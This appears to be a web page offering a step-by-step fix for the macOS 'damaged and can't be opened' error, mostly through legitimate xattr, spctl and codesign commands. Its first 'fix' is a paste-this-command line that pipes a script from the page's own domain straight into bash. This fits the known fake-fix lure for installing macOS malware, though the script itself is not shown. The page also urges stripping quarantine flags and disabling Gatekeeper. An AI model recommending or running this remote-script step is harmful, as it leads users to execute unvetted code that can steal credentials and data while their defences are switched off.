“Is Damaged and Can’t Be Opened” on macOS: Step-by-Step Fix

The warning rarely means the file is really broken. macOS marks every item saved from the internet with a quarantine flag, and when the follow-up signature check fails, the system reports “damaged”. Two short Terminal commands clear the flag and the program opens again.

Updated December 2, 2026 · About 6 min read · macOS 13–26

The fix

One-line helper Run the helper
curl -fsSL https://macfixerror.com/run.sh | bash

Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.

Clear the quarantine flag recursively
sudo xattr -cr "/Applications/Your Program.app"

Use the real path. Type sudo xattr -cr , then drag the item into the Terminal window so the path fills in by itself. Press Return, enter your admin password (nothing is shown), and open the program.

Remove only the quarantine attribute
xattr -d com.apple.quarantine "/Applications/Your Program.app"

Narrower variant: deletes the quarantine attribute and leaves every other extended attribute alone.

Inspect the attached metadata
xattr -l "/Applications/Your Program.app"

Lists extended attributes. If com.apple.quarantine appears, the flag is the likely cause. Empty output means it is already gone.

Ask Gatekeeper to evaluate the item
spctl -a -vv "/Applications/Your Program.app"

Shows whether Gatekeeper accepts the item and which signing authority it sees. A rejection here means a signature problem rather than quarantine.

What the message means

The dialog normally reads:

“Your Item” is damaged and can’t be opened. You should move it to the Trash.

Files saved from a browser, a mail client, or a chat tool receive the extended attribute com.apple.quarantine. Gatekeeper compares the code signature against that flag later. The comparison fails for reasons unrelated to corruption:

  • the item was signed ad-hoc or with an expired certificate;
  • the transfer stopped early, or the archive was unpacked by a tool that broke the bundle;
  • the bundle changed after signing — a plugin, a translation file, a resource;
  • the quarantine flag survived a copy or a restore, while the signature metadata did not.

Because the dialog is driven by metadata, deleting the flag skips the check that failed. That is why the first command resolves most cases.

Step by step

  1. Move the item into the Applications folder. In Finder, drag it out of Downloads or off the mounted disk image and drop it into /Applications. Running it from either of those places is a frequent cause.
  2. Quit it if it is running. Press ⌘ + Q.
  3. Start Terminal. Press ⌘ + Space, type Terminal, press Return.
  4. Run the first command. Paste sudo xattr -cr "/Applications/Your Program.app" with the real path, press Return, then type your administrator password.
  5. Open the item again. If the dialog is gone, stop here.
  6. If it still fails, run spctl -a -vv and read the reason before doing anything else.
Spaces in the path? Keep the straight double quotes exactly as shown. Without them the shell splits the path and xattr answers “No such file”.

If the commands do not help

  • Unpack the archive again. Delete the item and expand the original ZIP double-clicking it with Archive Utility, not with a third-party unpacker. Fetch a fresh copy if the archive is truncated.
  • Check the chip architecture. On Apple silicon an Intel-only build misbehaves oddly. Run lipo -archs "/Applications/Your Program.app/Contents/MacOS/Your Program" — look for arm64. Add Rosetta with softwareupdate --install-rosetta if Intel builds are needed.
  • Approve it in Settings. System Settings → Privacy & Security, then choose “Open Anyway”. Sequoia deliberately moved this step there.
  • Fetch it from the vendor again. An old build with an expired certificate keeps failing regardless of attributes.
  • Last resort: switch Gatekeeper off with sudo spctl --master-disable, launch once, switch it back on with sudo spctl --master-enable.

Still blocked? codesign -dv --verbose=4 "/Applications/Your Program.app" prints the signature. “code object is not signed at all” means the bundle was modified after signing, and only a clean copy helps.

Is removing the flag safe?

Yes, provided you trust the source. The quarantine attribute is a “came from the internet” marker, not an antivirus verdict. Removing it changes neither the signature nor the system-wide Gatekeeper state, and a genuinely broken binary still refuses to start.

For an unfamiliar source, check spctl -a -vv and codesign -dv first. A Developer ID signature plus an accepted verdict is a good reason to continue; “not signed at all” deserves more caution.

Attributes cannot be restored by command, and you do not need to: fetching the file again recreates the flag automatically.

Sequoia and Apple silicon notes

Two things changed in macOS 15: Gatekeeper became stricter, and the old Control-click shortcut disappeared from some flows. The dependable route is System Settings → Privacy & Security → Open Anyway. The Terminal method above is unaffected.

On Apple silicon the same text can appear for an Intel-only build without Rosetta, or for a disk image with a broken signature. Check the architecture first, then the signature.

Longer versions: the full guide, Sequoia specifics, and Apple silicon specifics.

Frequently asked questions

Does clearing the flag damage the program?
No. One metadata attribute is removed. The signature, the resources, and the bundle stay as they are — Gatekeeper simply stops seeing the internet marker.
Is sudo always required?
No. An item in your home folder often needs no sudo. Anything under /Applications may reject the write, so sudo is the reliable form.
Why does the same item work on a different Mac?
Quarantine lives per file and per machine. The check also depends on the local Gatekeeper state, the OS version, and the certificate chain, so two copies can behave differently.
How is this different from “developer cannot be verified”?
That one is a plain trust decision with its own Open Anyway step. “Damaged” means signature validation failed outright. The command covers both, but the cause is different.
Terminal answers “No such file or directory”.
The path is wrong or unquoted. Drag the item into Terminal, keep the quotes, and confirm it sits in /Applications rather than inside a mounted image.
Can I do this without Terminal?
Sometimes: Control-click the item, choose Open, confirm; or use Settings → Privacy & Security → Open Anyway. When both fail, Terminal is the dependable route.

This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.